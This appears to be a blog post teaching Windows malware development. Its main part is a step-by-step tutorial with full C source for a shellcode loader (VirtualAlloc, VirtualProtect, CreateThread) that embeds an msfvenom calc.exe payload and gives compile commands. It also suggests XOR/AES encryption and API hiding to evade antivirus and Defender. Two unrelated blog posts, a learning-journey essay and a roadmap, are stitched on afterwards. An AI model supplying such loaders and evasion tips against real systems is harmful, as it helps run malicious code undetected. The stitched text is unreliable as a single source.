Intro

I know It’s been a minute since my first blog post and I’ve completed 3 steps of the master plan but it’s never too late to share the knowledge 😸

The title’s pretty self explanatory as to what this post is about so let’s get into it.

Prerequisites

Understanding C/C++

Due to the low-level system access and direct memory management required, the majority of malware used on Windows machines are written in languages like C and C++.

A solid understanding of C/C++ will help out a lot in understanding the following code along with its logic and definitely go a long way in your malware development journey. I personally used CodeAcademy’s Learn C Skill Path (not sponsored I promise) to build up C programming skills since it had 8 built in projects and in lesson quizzes, but if you don’t want to pay for a course then W3 Schools C Tutorial is a great resource as well.

I know recently Rust has been gaining popularity in the malware development community due to its inherent anti-analysis capabilities, memory safety and higher chances of it evading existing signatures, but like…

Processes, Threads and Memory

In the context of the Windows OS, a process is the instance of a computer program that is being executed by one or many threads. In simpler terms, a process can be thought of as a house or container that holds everything a program needs run such as it’s data, executable code, it’s own memory, etc. Processes can spawn more processes which are called child processes and they all have a unique Process Identifier (PID).

In the definition for what a process is there was the mention of threads. Threads can be thought of as little workers for the process that run the actual executable code. A process must have at least one thread but can have many, and threads are far lighter than the process itself.

Instead of using raw physical RAM, Windows uses virtual memory so each program thinks it has its own private mansion of safe memory space while Windows manages and protects the real RAM in the background. The reason for this is so that each process can only access its own Virtual Address Space (VAS), preventing one bug in a single process from crashing the entire machine, one process from reading or overwriting another processes memory without proper permissions and it’s simply just more efficient for multitasking.

Executables (EXEs) and Dynamic-Link Libraries (DLLs)

Executable (EXE) files are standalone files that include all the code and resources needed to run an application on their own. When an EXE is launched, Windows starts a new process and executes the program inside.

At least in C/C++, the main() function will be executed after the initialization process of the executable is completed by the OS loader.

Dynamic-Link Library (DLL) files, are libraries that contain reusable code, functions and resources that multiple applications can use simultaneously. They are designed to be loaded and executed by multiple processes, allowing various programs to share the same functionality without duplicating code.

DLLs can be thought of as a phone book of reusable code that programs/applications can call when they want need a certain functionality. This is really useful because it allows developers to be forced to recreate every function native to Windows from scratch making their programs/applications smaller.

The Portable Executable (PE) Format

Portable Executable (PE) files are the standard Windows file format for compiled executable code, i.e. EXEs and DLLs. When a PE file is loaded, Windows maps its sections into a process’s virtual address space and prepares it for execution or use.

Now since I could write an entire blog about the PE file format, I’m only going to cover and highlight the portions we need to understand solely for writing the shellcode loader. If you want a deep dive on the PE file format, Astra Labs has a great write up on the subject which can be found here

The sections we’re interested in are the .text, .data and .rsrc sections, as these are the sections where our payload (shellcode) can live locally within the PE.

Shellcode Loader Primer

A high-level overview of the shellcode loaders logic looks like the following:

1. Create a buffer in the current process’s virtual address space the size of the payload

2. Copy the payload into the buffer

3. Update the protection rights on the buffer to be executable

4. Execute the payload as a new thread

Remember those reusable functions and pieces of code I mentioned DLLs contain? Yeah, we’re going to use some ourselves, but specifically the some of the following Win32 APIs from the kernel32.dll DLL which is a core DLL to Windows OS.

• VirtualAlloc()

• VirtualProtect()

• RtlMoveMemory()

• CreateThread()

• WaitForSingleObject()

Win32 APIs Breakdown

This section will break down all of the Win32 APIs listed above.

For more information on any of these functions, the Microsoft Developer Network (MSDN) is a fantastic resource for all Win32 APIs and can be easily searched by Googling ”Function Name” msdn.

VirtualAlloc

VirtualAlloc() is a Windows API used to reserve and commit memory within a process’s virtual address space, allowing applications to allocate memory dynamically at runtime and giving them more control over how memory is managed.

The functions prototype looks like the following:

LPVOID VirtualAlloc(
  LPVOID lpAddress,        // starting address of the region to allocate. Usually set to NULL so the OS chooses where to allocate the region
  SIZE_T dwSize,           // size of the region to allocate in bytes
  DWORD  flAllocationType, // type of memory allocation. typically:  MEM_COMMIT | MEM_RESERVE
  DWORD  flProtect         // memory protection for the region of pages to be allocated; ex. PAGE_READWRITE, PAGE_EXECUTE_READWRITE, etc.
);

// the return value is the base address of the allocated region if it succeeds. if it fails the return value is NULL.

RtlMoveMemory

RtlMoveMemory() is a function used to copy blocks of memory from one location to another, and it behaves similarly to the standard memcpy function.

The functions prototype looks like the following:

void RtlMoveMemory(
  void *Destination,    // pointer to the destination memory block to copy the bytes to
  const void *Source,   // pointer to the source memory block to copy the bytes from
  size_t Length         // size of memory block to copy in bytes
);

// no return value

VirtualProtect

VirtualProtect() is a Windows API that modifies the protection settings of a region of virtual memory within a process, letting you control whether that region of memory can be readable, writable, executable, or any combination of the three.

The functions prototype looks like the following:

BOOL VirtualProtect(
  LPVOID lpAddress,      // address of the region of memory thats protection attributes are to be changed
  SIZE_T dwSize,         // size of the region whose access protection attributes are to be changed (in bytes)
  DWORD  flNewProtect,   // memory protection option, ex. PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE, PAGE_READWRITE, etc.
  PDWORD lpflOldProtect  // pointer to a variable that receives the previous access protection value. If NULL, the function fails
);

// function will return a nonzero value if it succeeded and zero if it failed

CreateThread

CreateThread() is a Windows API used to start a new thread inside an existing process. A thread is the smallest unit of execution in Windows, and multiple threads can run at the same time while sharing the process’s resources.

The functions prototype looks like the following:

HANDLE CreateThread(
  LPSECURITY_ATTRIBUTES   lpThreadAttributes,  // controls handle inheritance; NULL means child processes can’t inherit it
  SIZE_T                  dwStackSize,         // starting stack size in bytes (0 = default size)
  LPTHREAD_START_ROUTINE  lpStartAddress,      // function the thread will start executing (our payload)
  LPVOID                  lpParameter,         // data you want to pass to the thread function
  DWORD                   dwCreationFlags,     // creation flags for new thread (CREATE_SUSPENDED or 0 to run right away)
  LPDWORD                 lpThreadId           // receives the thread ID (optional)
);

// if the function succeeds, the return value is a handle to the new thread. if it fails the return value is NULL

WaitForSingleObject

WaitForSingleObject() waits for a specific kernel object such as a thread, process, or event to finish or signal.

The functions prototype looks like the following:

DWORD WaitForSingleObject(
  HANDLE hHandle, //handle of the object to wait for
  DWORD  dwMilliseconds // how long to wait before giving up; typically INFINITE
);

// don't worry about the return value for this lol

Putting the pieces together

Now that we have the shell codes logic and defined the Windows APIs that are going to be used out of the way, let’s start building the loader 🤠

Since I put having a solid foundation of C as a prerequisite, I won’t be explaining what header files, variable types are, although if the variable types are confusing here’s Microsofts documentation on them.

Within the main function of the program, we can set up the variables that will be used in conjunction with the Windows APIs and for simplicity's sake, we’re going to store our payload in .text section of the PE so it’s home will be within the main() function of the program as well.

#include <windows.h>
#include <stdio.h>

int main(void){

    // declare variables
    PVOID pExecBuff = NULL; // will be used to hold memory buffer
    BOOL  bState = NULL; // will be used for see if VirtualProtect() failed
    HANDLE hThread = NULL; // will be used to hold the new threads handle
    DWORD dwOldProtect = NULL; // will be used to save old protection bytes of pExecBuff

    unsinged char pShellcode[] = {0x90, 0x90, 0xcc, 0xc3}; // placeholder shellcode
    DWORD dwShellcodeSize = sizeof(pShellcode); 

}

Next, we’ll allocate a buffer in the virtual address space of the current process (our loader) using VirtualAlloc().

Now this isn’t going to make much of a difference for this loader since any competent AV will pick up on the MSFvenom payload and the Windows APIs imported in the PE’s import address table (IAT), but allocating a new buffer in memory with PAGE_EXECUTE_READWRITE protection rights out of no where is a huge red flag for security solutions and will get you banned to the shadow realm almost immediately. So as best practices, we’re going to allocate the region as PAGE_READWRITE first then change it to PAGE_EXECUTE_READ when it’s ready to be executed.

We’re also going to be adding pauses to code using getchar() so we can analyze each step easier during runtime.

#include <windows.h>
#include <stdio.h>

int main(void){

    // declare variables
    PVOID pExecBuff = NULL; // will be used to hold memory buffer
    BOOL  bState = NULL; // will be used for see if VirtualProtect() failed
    HANDLE hThread = NULL; // will be used to hold the new threads handle
    DWORD dwOldProtect = NULL; // will be used to save old protection bytes of pExecBuff

    unsinged char pShellcode[] = {0x90, 0x90, 0xcc, 0xc3}; // placeholder shellcode
    DWORD dwShellcodeSize = sizeof(pShellcode);

    // allocate buffer
    pExecBuff = VirtualAlloc(0, dwShellcodeSize, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
    if (pExecBuff == NULL){
        printf("[!] could not allocate buffer\t(0x%lx)\n", GetLastError());
        return -1;
    }
    printf("[+] allocate memory buffer in current process:\t0x%p\n", pExecBuff);
    printf("[#] Press <ENTER> to continue...\n");
    getchar();
}

Once the buffer is allocated, we can copy the payload over to new region using RtlMoveMemory.

#include <windows.h>
#include <stdio.h>

int main(void){

    // declare variables
    PVOID pExecBuff = NULL; // will be used to hold memory buffer
    BOOL  bState = NULL; // will be used for see if VirtualProtect() failed
    HANDLE hThread = NULL; // will be used to hold the new threads handle
    DWORD dwOldProtect = NULL; // will be used to save old protection bytes of pExecBuff

    unsinged char pShellcode[] = {0x90, 0x90, 0xcc, 0xc3}; // placeholder shellcode
    DWORD dwShellcodeSize = sizeof(pShellcode);

    // allocate buffer
    pExecBuff = VirtualAlloc(0, dwShellcodeSize, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
    if (pExecBuff == NULL){
        printf("[!] could not allocate buffer\t(0x%lx)\n", GetLastError());
        return -1;
    }
    printf("[+] allocate memory buffer in current process:\t0x%p\n", pExecBuff);
    printf("[#] Press <ENTER> to continue...\n");
    getchar();

    // copy payload over ; no return value from RtlMoveMemory
    RtlMoveMemory(pExecBuff, pShellcode, dwShellcodeSize);
    printf("[+] copied payload to buffer\n", pExecBuff);
    printf("[#] Press <ENTER> to continue...\n");
    getchar();
}

With the payload copied over we can change the protection rights of the buffer to PAGE_EXECUTE_READ using VirtualProtect().

 #include <windows.h>
#include <stdio.h>

int main(void){

    // declare variables
    PVOID pExecBuff = NULL; // will be used to hold memory buffer
    BOOL  bState = NULL; // will be used for see if VirtualProtect() failed
    HANDLE hThread = NULL; // will be used to hold the new threads handle
    DWORD dwOldProtect = NULL; // will be used to save old protection bytes of pExecBuff

    unsinged char pShellcode[] = {0x90, 0x90, 0xcc, 0xc3}; // placeholder shellcode
    DWORD dwShellcodeSize = sizeof(pShellcode);

    // allocate buffer
    pExecBuff = VirtualAlloc(0, dwShellcodeSize, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
    if (pExecBuff == NULL){
        printf("[!] could not allocate buffer\t(0x%lx)\n", GetLastError());
        return -1;
    }
    printf("[+] allocate memory buffer in current process:\t0x%p\n", pExecBuff);
    printf("[#] Press <ENTER> to continue...\n");
    getchar();

    // copy payload over ; no return value from RtlMoveMemory
    RtlMoveMemory(pExecBuff, pShellcode, dwShellcodeSize);
    printf("[+] copied payload to buffer\n", pExecBuff);
    printf("[#] Press <ENTER> to continue...\n");
    getchar();

    bState = VirtualProtect(pExecBuff, dwShellcodeSize, PAGE_EXECUTE_READ, &dwOldProtect);
    if (bState == 0){
        printf("[!] could not update protection rights to PAGE_EXECUTE_READ\t(0x%lx)\n", GetLastError());
        return -1;
    }
    printf("[+] updated protection rights to PAGE_EXECUTE_READ\n", pExecBuff);
    printf("[#] Press <ENTER> to continue...\n");
    getchar();
}

Now if VirtualProtect() succeeded, that means that the payload is ready to be fired off 😼

We’ll be executing it as a new thread using CreateThread() in it’s most basic form and waiting for it to finish executing before exiting using WaitForSingleObject().

#include <windows.h>
#include <stdio.h>

int main(void){

    // declare variables
    PVOID pExecBuff = NULL; // will be used to hold memory buffer
    BOOL  bState = NULL; // will be used for see if VirtualProtect() failed
    HANDLE hThread = NULL; // will be used to hold the new threads handle
    DWORD dwOldProtect = NULL; // will be used to save old protection bytes of pExecBuff

    unsinged char pShellcode[] = {0x90, 0x90, 0xcc, 0xc3}; // placeholder shellcode
    DWORD dwShellcodeSize = sizeof(pShellcode);

 // allocate buffer
    pExecBuff = VirtualAlloc(0, dwShellcodeSize, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
    if (pExecBuff == NULL){
        printf("[!] could not allocate buffer\t(0x%lx)\n", GetLastError());
        return -1;
    }
    printf("[+] allocate memory buffer in current process:\t0x%p\n", pExecBuff);
    printf("[#] Press <ENTER> to continue...\n");
    getchar();

    // copy payload over ; no return value from RtlMoveMemory
    RtlMoveMemory(pExecBuff, pShellcode, dwShellcodeSize);
    printf("[+] copied payload to buffer\n", pExecBuff);
    printf("[#] Press <ENTER> to continue...\n");
    getchar();

    bState = VirtualProtect(pExecBuff, dwShellcodeSize, PAGE_EXECUTE_READ, &dwOldProtect);
    if (bState == 0){
        printf("[!] could not update protection rights to PAGE_EXECUTE_READ\t(0x%lx)\n", GetLastError());
        return -1;
    }
    printf("[+] updated protection rights to PAGE_EXECUTE_READ\n", pExecBuff);
    printf("[#] Press <ENTER> to continue...\n");
    getchar();

    hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE) pExecBuff, NULL, NULL, NULL);
    if (hThread == NULL){
        printf("[!] could not execute payload\t(0x%lx)\n", GetLastError());
        return -1;
    }
    WaitForSingleObject(hThread, INFINITE);
    printf("[*] executed payload in new thread (%d)\n", GetThreadId(hThread));
    printf("[#] Press <ENTER> to exit...\n");
    getchar();

    return 0;
}

Now running this will execute the place holder shellcode which does virtually nothing , so let’s go ahead and generate our own.

Generating the Payload

The payload we’re going to use will be the standard MSFvenom calc.exe payload because if you can pop a calc then you can pop something more malicious.

The shellcode can be generated into raw bytes using the following MSFvenom command:

msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f c

The output should look something like the following:

❯ msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 276 bytes
Final size of c file: 1188 bytes
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
<SNIP>

Using this output, we can now replace our placeholder shellcode with this one.

#include <windows.h>
#include <stdio.h>

int main(void){

    // declare variables
    PVOID pExecBuff = NULL; // will be used to hold memory buffer
    BOOL  bState = NULL; // will be used for see if VirtualProtect() failed
    HANDLE hThread = NULL; // will be used to hold the new threads handle
    DWORD dwOldProtect = NULL; // will be used to save old protection bytes of pExecBuff

    unsigned char pShellcode[] =
    "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
    "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
    "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
    "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
    "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
    "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
    "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
    "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
    "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
    "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
    "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
    "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
    "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
    "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
    "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
    "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
    "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
    "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
    "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
    "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

    DWORD dwShellcodeSize = sizeof(pShellcode);

    // allocate buffer
    pExecBuff = VirtualAlloc(0, dwShellcodeSize, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
    if (pExecBuff == NULL){
        printf("[!] could not allocate buffer\t(0x%lx)\n", GetLastError());
        return -1;
    }
    printf("[+] allocate memory buffer in current process:\t0x%p\n", pExecBuff);
    printf("[#] Press <ENTER> to continue...\n");
    getchar();

    // copy payload over ; no return value from RtlMoveMemory
    RtlMoveMemory(pExecBuff, pShellcode, dwShellcodeSize);
    printf("[+] copied payload to buffer\n", pExecBuff);
    printf("[#] Press <ENTER> to continue...\n");
    getchar();

    bState = VirtualProtect(pExecBuff, dwShellcodeSize, PAGE_EXECUTE_READ, &dwOldProtect);
    if (bState == 0){
        printf("[!] could not update protection rights to PAGE_EXECUTE_READ\t(0x%lx)\n", GetLastError());
        return -1;
    }
    printf("[+] updated protection rights to PAGE_EXECUTE_READ\n", pExecBuff);
    printf("[#] Press <ENTER> to continue...\n");
    getchar();

    hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE) pExecBuff, NULL, NULL, NULL);
    if (hThread == NULL){
        printf("[!] could not execute payload\t(0x%lx)\n", GetLastError());
        return -1;
    }
    WaitForSingleObject(hThread, INFINITE);
    printf("[*] executed payload in new thread (%d)\n", GetThreadId(hThread));
    printf("[#] Press <ENTER> to exit...\n");
    getchar();

    return 0;
}

Compiling

I personally like to compile simple programs like this using the command line tools in Visual Studio’s Developer Command Prompt since I enjoy coding in VS Code more, but using Visual Studio’s GUI to build the solution is perfectly fine as well.

The program can be compiled with the following command:

cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcshellcode_loader.c /link /OUT:shellcode_loader.exe /SUBSYSTEM:CONSOLE /MACHINE:x64

Runtime Analysis

Since the execution of the loader is fairly straight forward and doesn’t need a deeper analysis, we’ll be using System Informer (formerly Process Hacker) to do our runtime analysis.

I definitely recommend using a tool like x64dbg to debug the loader and do a deeper analysis, I just won’t be to save time and help out my fellow maldev noobs (^_~)

After executing the loader we can find the process in System Informer, navigate to the Memory tab and look for the base memory address of our newly created buffer.

We can see that it’s currently empty and has RW protection rights just as we set it to be.

After pressing enter to continue with the execution chain, the payload is copied over to the buffer with the exact same bytes of our shellcode 0xfc 0×48 0×83 0xed ….

Continuing with the execution chain, we can see that the protection rights of the buffer has changed to RX making the payload ready for execution.

Finally, our shellcode is executed in a new thread, popping a calculator open. The ID of the thread executed the payload can be seen in the console and confirmed to exist in the Threads tab in System Informer.

Conclusion

This shellcode loader is definitely one of the most basic ones you can make and will probably get picked up by AVs and EDRs 99.9% of the time.

A couple simple ways to make it evasive for basic AVs is to encrypt the shellcode using XOR or AES and call the Win32 APIs using their memory address with GetProcAddress() and GetModuleHandle().

Hopefully this sparked your interest in malware development and makes you want to go deeper since this was very surface level. I recommend doing some research and challenging yourself to bypass Windows Defender.

Thinking of doing a Windows Native API implementation of this for the next blog, but we’ll see when I have the time for it 😅

Happy hacking 😸

Credits

I owe all my malware development knowledge to following platforms and courses :

• Sektor7’s RED TEAM Operator: Malware Development Essentials Course

• Maldev Academy’s Malware Development Course

Cybersecurity is a huge field.. So many directions to go.. but I'll always follow my heart.. And I've always loved learning about the low-level stuff in computing.. my heart always goes to the fundamentals.. how do computers work? how do operating systems work? how does the normal software applications work? how virtualization achieves what it achieves? how did we turn electricity into applications? and so on.

With that passion.. I started delving deeper.. when in 2019.. I read a book called "But How Do It Know?".. the book starts with the joke - A guy goes to the market.. finds someone selling a flask bottle.. the seller tells the guy that the bottle can keep cold liquid cold.. and warm liquid warm.. the guy questions "but, but, but - how do it know?" - how does the bottle know, if the liquid is cold or warm? that's the joke - the bottle doesn't know the temperature of the liquid at all.. the way a flask bottle works is very scientific.. the container is surrounded by vacuum which slows down temperature exchange between the outside environment and the inside of the container thus maintaining the temperature of the liquid inside - cold or warm.

And then the book goes on explaining how computers are the same.. we look at this black box wondering how this thing does all the things that runs the world just by taking electricity as the input.. most of the things are abstracted thus giving the complexity.. but if we break it down.. computers are actually very easy to understand.. and that was the beginning of my journey learning about computer architecture.. a very simple architecture.

Going Deeper - Building from NAND Gates

I kept going.. I took a course called NAND to Tetris.. where we start with a NAND gate.. build the different parts of a CPU.. build a memory.. connect them together so the CPU can take instructions from the memory.. save data in memory.. and has IO to facilitate connections with peripherals.. thus building the whole computer where we write instructions in assembly.. and finally write a compiler that takes a higher level language and compiles it into assembly that is used by the processor.. and use programming to write a video game - Tetris.

This course was beautifully created.. gave me a better understanding of how a simple computer can come into existence.. it also helped me understand the basics of assembly language.. Later I read "Assembly Language Step-By-Step" Book by Jeff Duntemann.. which is an old book.. to learn more about x86 assembly.. it also talks a little about linkers and loaders and how programs are ran after they are compiled.

The Operating System Journey

But that's not the end.. modern applications don't run on hardware directly.. hardware is fully managed by the operating system.. now the next step I thought was to learn about how operating systems work.. with that in mind I started my journey to understand operating systems.. starting with the dinosaur book - "Operating System Concepts".. a book I found in an old book store just laying there probably for years.. waiting for me to come and take it one day.. and that's what happened.

It took me a while to finish the book.. as most of the concepts were very new to me.. but that didn't satisfy my curiosity.. I thought why don't I write my own operating system.. as the best way to learn something by heart is by getting your hands dirty and execution.. I took a Udemy course "Developing a Multithreaded Kernel From Scratch", supplementing with the osdev.org site.. to spend the next 2 months writing a kernel very similar to Linux.. but very very basic - with a built-in library, a simple shell, FAT16 file system.. ELF loaders.. simple process/task/memory managers, bootloader and so on.

The COVID Turning Point - Into Security

As you see.. until now.. all I did was learn about the fundamentals.. which never actually ends.. These were before Covid.. I remember during Covid when I understood that I'll be stuck at home for at least a year during the quarantine time.. I thought how can I make use of this time.. that's when I was looking into learning more about hacking.. I was inspired by Mr Robot the 2014 show.. when I watched it as a teenage kid.

During that time tho.. there weren't that many resources to learn hacking available to me like it is right now.. I found Heath Adams Udemy course which was a complete course for ethical hacking for beginners.. but it was very difficult for me to understand as I was missing a lot of the prerequisites.. such as networking (I didn't even understand what an IP address is).. so another fundamental.. with that in mind I started learning about networking.. and I ended up taking a CCNA course and passing the exam on December 2020.

Around that time I also did some binary exploitation exercises on HTB.. strengthening my understanding more about assembly and how low level vulns can be abused.. but my technical abilities hit a ceiling.. I'm still 21 years old.. who is learning everything on his own.. and I wanted to get a job in cybersecurity where I can learn more about the real world.. and contribute as well.

Building Up the Security Skills

With all the good foundational knowledge that I had.. I wanted to learn more about cybersecurity.. started with Security+ then finished the CPTS path on HackTheBox which taught me so much about penetration testing.. a very technically detailed course ever created.. after that did the CySA+ cert.. did a cloud cert called the AWS Cloud Practitioner.. and currently studying for the SecurityX certification while working as a SOC Analyst for a huge MSSP.

Where My Heart Takes Me - The Low Level Path

Like I said.. my heart always goes to the low level stuff.. I still think to myself.. that I haven't even dived deeper into things like linkers and loaders.. I wanted to write my own compiler.

So my binary exploitation study journey.. my kernel development journey.. penetration testing journey all of that made me fall in love with offensive security.. focused on low level computer operations.

I'm currently reading Windows Security Internals.. and I'll write more about it in the upcoming blogs as I learn more.. one thing I learned so far is that not many people understand Windows at a low level as it is closed source.. so I see a lot of value in it.

I'm also planning to take courses in OpenSecurityTraining2 which is all about low level stuff - It has courses on WinDB, from beginner to intermediate to advanced! A well as courses on assembly language, Windows kernel exploitation and more. I also plan to do courses from MalDev Academy suggested to me by a good friend, Anton. And eventually take the OSED exam.

What's Next?

This blog is going to be my way of documenting everything I learn.. sharing the struggles.. the wins.. the random rabbit holes I go down when something catches my curiosity.. because let's be honest.. the journey never really ends when you're someone who can't stop asking "but how do it know?"

If you're like me.. someone who needs to understand things from the ground up.. who gets excited about assembly code and kernel internals.. who thinks writing your own OS is a fun weekend project.. then stick around.. we're going to dive deep into some really cool stuff.

Next up.. I'll be sharing what I'm learning from Windows Security Internals.. and trust me.. it's fascinating how much is happening under the hood that most people never see.

Resources Mentioned

Here are all the resources I talked about in this post.. in case you want to check them out yourself.

Books:

• But How Do It Know? - The Basic Principles of Computers for Everyone by J. Clark Scott - Amazon.

• Assembly Language Step-by-Step by Jeff Duntemann - Amazon.

• Operating System Concepts (The Dinosaur Book) by Abraham Silberschatz, Peter B. Galvin, Greg Gagne - Amazon.

• Windows Security Internals by James Forshaw - Amazon.

Courses:

• NAND to Tetris (nand2tetris.org)

• Developing a Multithreaded Kernel From Scratch (Udemy)

• Practical Ethical Hacking by Heath Adams (TCM Security)

• CPTS Path on HackTheBox Academy

• OpenSecurityTraining.info (for low-level security courses)

• Malware Dev Academy (https://maldevacademy.com/)

Other Resources:

• osdev.org - for OS development

• HackTheBox - for penetration testing and binary exploitation practice.

Inspiration

This inspiration first struck my soul after getting gobbled up by EDR and setting off numerous alerts two past engagements. I purchased the MalDev Academy Malware Development Course bundle but then quickly remembered that I actually know very little about how computers work at a low-level along with programming in Assembly language or C 🤠

I then decided to take the new CRTO course and exam from Zero-Point Security due to its high praises on the teachings of OPSEC and using the industry standard C2 Cobalt Strike.

The exam scores are based on achieving the objective and maintaining good OPSEC. I failed my first attempt due to poor OPSEC and getting stuck on the final step of the objective (I overlooked something very simple lol). For the OPSEC portion, I specifically lost points on the Malware section where points are deducted if Defender detects malware on a host.

The second time around I passed with obtaining the objective and having a perfect score on all other OPSEC considerations which was nice, I still lost points in the Malware section because my beacon was detected a few times 😅

The master plan

After talking to my good friend Muhannad he mentioned that I should take a look at OpenSecurityTraining2’s Architecture 1001: x86-64 Assembly free course to learn how computers work at one of the lowest levels before diving into C and malware development so my base could be even stronger.

That suggestion got me thinking:

“Man, the l337est hackers didn’t have all these tools and resources to their disposal like I do and they still know more than I do.”

With that thought, I decided to go low-level 😼

I’ve created the following roadmap to do just that.

1. Learn x86-64 ASM using the Architecture 1001: x86-64 Assembly from OpenSecurityTraining2’s

2. Learn C using W3school’s free C course and create various projects and applications to hammer the language into my brain.

3. Dive into Maldev Academy’s Malware Development Couse and complete every module and challenge lab

4. Take the RTO II course (CRTL) and really take my time going through the material

5. Pwn all of (or at least the majority) of the HTB Pro Labs with proper OPSEC, custom payloads and a C2

6. Seek therapy to address the lingering imposter syndrome for being in the offensive security sphere🫠

Outro

With this roadmap in front of me I’ll be sharing my journey and things I’ve learnt along the way within this blog for the other noobs that also want to be L337.

No promises that I’ll be consistent though since writing these does take a sometime :D

Happy hacking 😸